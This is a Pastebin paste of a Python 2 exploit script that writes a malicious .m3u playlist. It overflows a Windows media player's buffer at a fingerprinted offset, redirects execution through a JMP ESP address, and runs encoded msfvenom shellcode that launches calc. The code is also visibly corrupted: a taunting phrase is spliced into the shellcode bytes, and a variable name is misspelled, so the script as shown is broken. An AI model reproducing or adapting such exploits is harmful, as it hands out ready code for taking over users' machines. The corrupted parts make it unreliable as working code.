sasfvs

Untitled

Jul 29th, 2017
446
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.70 KB | None | 0 0
  1. import struct
  2. f = open("kill.m3u","w")
  3. junk = (2500 + 1093) * "A"
  4. #junk2 = 500 * "B" #fingerprinting
  5. #junk2 = " 500 uni chars = > 000FF728   6B42346B  k4Bk = > [*] Exact match at offset 1093"
  6. #eip = "XXXX" #fingerprinting
  7. eip = struct.pack("<I", 0x01AAF23A) #01AAF23A   FFE4             JMP ESP
  8. nops = "\x90" * 25
  9. # msfvenom -p windows/exec CMD="calc" --platform windows -a x86 -f py -encoder x86/alpha_upper
  10. buf =  ""
  11. buf += "\x89\xe3\xdd\xc0\xd9\x73\xf4\x5b\x53\x59\x49\x49\x49"
  12. buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
  13. buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
  14. buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
  15. buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
  16. buf += "\x4a\x49\x4b\x4c\x5a\x48\x4c\x42\x33\x30\x53\x30\x35"
  17. buf += "\x50\x55\x30\x4d\x59\x4a\x45\x50\x31\x49\x50\x45\x34"
  18. buf += "\x4c\x4b\x30\x50\x36\x50\x4c\x4b\x31\x42\x44\x4c\x4c"
  19. buf += "\x4b\x56\x32\x32\x34\x4c\x4b\x53\x42\x37\x58\x34\x4f"
  20. buf += "\x48\x37\x30\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x37"
  21. buf += "\x4c\x55\x31\x33\x4c\x43\x32\x36\x4c\x57\x50\x39\x51"
  22. buf += "\x48\x4f\x34\x4d\go to hell man :))a\x42\x4c\x32\x46"
  23. buf += "\x32\x50\x57\x4c\x4b\x46\x32\x44\x50\x4c\x4b\x30\x4a"
  24. buf += "\x47\x4c\x4c\x4b\x30\x4c\x42\x31\x32\x58\x4d\x33\x57"
  25. buf += "\x38\x33\x31\x58\x51\x46\x31\x4c\x4b\x31\x49\x51\x30"
  26. buf += "\x45\x51\x49\x43\x4c\x4b\x47\x39\x32\x38\x4b\x53\x36"
  27. buf += "\x5a\x50\x49\x4c\x4b\x30\x34\x4c\x4b\x35\x51\x58\x56"
  28. buf += "\x56\x51\x4b\x4f\x4e\x4c\x59\x51\x58\x4f\x44\x4d\x45"
  29. buf += "\x51\x59\x57\x50\x38\x4d\x30\x54\x35\x4c\x36\x33\x33"
  30. buf += "\x33\x4d\x5a\x58\x57\x4b\x43\x4d\x51\x34\x52\x55\x5a"
  31. buf += "\x44\x30\x58\x4c\x4b\x51\x48\x31\x34\x53\x31\x48\x53"
  32. buf += "\x52\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x50\x58\x35"
  33. buf += "\x4c\x35\x51\x4e\x33\x4c\x4b\x55\x54\x4c\x4b\x43\x31"
  34. buf += "\x38\x50\x4b\x39\x50\x44\x51\x34\x51\x34\x51\x4b\x51"
  35. buf += "\x4b\x43\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50"
  36. buf += "\x31\x4f\x31\x4f\x51\x4a\x4c\x4b\x35\x42\x4a\x4b\x4c"
  37. buf += "\x4d\x51\x4d\x43\x5a\x35\x51\x4c\x4d\x4c\x45\x4e\x52"
  38. buf += "\x53\x30\x45\x50\x35\x50\x56\x30\x55\x38\x56\x51\x4c"
  39. buf += "\x4b\x52\x4f\x4b\x37\x4b\x4f\x38\x55\x4f\x4b\x4c\x30"
  40. buf += "\x48\x35\x59\x32\x46\x36\x42\x48\x4e\x46\x4c\x55\x4f"
  41. buf += "\x4d\x4d\x4d\x4b\x4f\x59\x45\x57\x4c\x44\x46\x43\x4c"
  42. buf += "\x55\x5a\x4b\x30\x4b\x4b\x4d\x30\x32\x55\x34\x45\x4f"
  43. buf += "\x4b\x57\x37\x52\x33\x32\x52\x42\x4f\x43\x5a\x33\x30"
  44. buf += "\x56\x33\x4b\x4f\x48\x55\x55\x33\x53\x51\x52\x4c\x55"
  45. buf += "\x33\x43\x30\x41\x41"
  46. junk2 = (30000 - len(junk + eip + nops + buf)) * "D"
  47. string = junk + eip + nops + buf + juk2 #fingerprinting
  48. print len(string)
  49. f.write(string)
  50. f.close()
Advertisement
Add Comment
Please, Sign In to add comment